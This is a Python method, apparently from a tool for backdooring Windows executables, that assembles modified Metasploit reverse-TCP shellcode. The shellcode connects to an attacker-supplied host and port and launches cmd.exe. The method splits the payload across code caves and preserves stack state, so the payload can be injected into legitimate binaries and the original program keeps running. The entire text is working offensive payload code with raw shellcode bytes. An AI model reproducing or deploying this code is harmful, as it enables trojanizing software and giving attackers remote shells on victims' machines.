'Modified metasploit windows/shell_reverse_tcp shellcode
to enable continued execution and cave jumping.'

def reverse_shell_tcp_inline(self, flItms, CavesPicked={}):

    if (self.PORT is None):
        print 'This    payload    requires    the    PORT    parameter    -P'
        return False
    if (self.HOST is None):
        print 'This    payload    requires    a    HOST    parameter    -H'
        return False
    breakupvar = eat_code_caves(flItms, 0, 1)
    self.shellcode1 = '\xfc\xe8'
    if (flItms['cave_jumping'] is True):
        if (breakupvar > 0):
            if (len(self.shellcode1) < breakupvar):
                self.shellcode1 += struct.pack('<I', int(str(hex((((breakupvar - len(self.stackpreserve)) - len(self.shellcode1)) - 4)).rstrip('L')), 16))
            else:
                self.shellcode1 += struct.pack('<I', int(str(hex((((len(self.shellcode1) - breakupvar) - len(self.stackpreserve)) - 4)).rstrip('L')), 16))
        else:
            self.shellcode1 += struct.pack('<I', ((((int('0xffffffff', 16) + breakupvar) - len(self.stackpreserve)) - len(self.shellcode1)) - 3))
    else:
        self.shellcode1 += '\x89\x00\x00\x00'
    self.shellcode1 += '`\x89\xe51\xd2d\x8bR0\x8bR\x0c\x8bR\x14\x8br(\x0f\xb7J&1\xff1\xc0\xac<a|\x02,    \xc1\xcf\r\x01\xc7\xe2\xf0RW\x8bR\x10\x8bB<\x01\xd0\x8b@x\x85\xc0tJ\x01\xd0P\x8bH\x18\x8bX    \x01\xd3\xe3<I\x8b4\x8b\x01\xd61\xff1\xc0\xac\xc1\xcf\r\x01\xc78\xe0u\xf4\x03}\xf8;}$u\xe2X\x8bX$\x01\xd3f\x8b\x0cK\x8bX\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89D$$[[aYZQ\xff\xe0X_Z\x8b\x12\xeb\x86'
    self.shellcode2 = ']h32\x00\x00hws2_ThLw&\x07\xff\xd5\xb8\x90\x01\x00\x00)\xc4TPh)\x80k\x00\xff\xd5PPPP@P@Ph\xea\x0f\xdf\xe0\xff\xd5\x89\xc7h'
    self.shellcode2 += self.pack_ip_addresses()
    self.shellcode2 += 'h\x02\x00'
    self.shellcode2 += struct.pack('!H', self.PORT)
    self.shellcode2 += '\x89\xe6j\x10VWh\x99\xa5ta\xff\xd5hcmd\x00\x89\xe3WWW1\xf6j\x12YV\xe2\xfdf\xc7D$<\x01\x01\x8dD$\x10\xc6\x00DTPVVVFVNVVSVhy\xcc?\x86\xff\xd5\x89\xe0N\x90F\xff0h\x08\x87\x1d`\xff\xd5\xbb\xf0\xb5\xa2Vh\xa6\x95\xbd\x9d\xff\xd5<\x06|\n\x80\xfb\xe0u\x05\xbbG\x13roj\x00S\x81\xc4\xfc\x01\x00\x00'
    self.shellcode = (((self.stackpreserve + self.shellcode1) + self.shellcode2) + self.stackrestore)
    return ((self.stackpreserve + self.shellcode1), (self.shellcode2 + self.stackrestore))
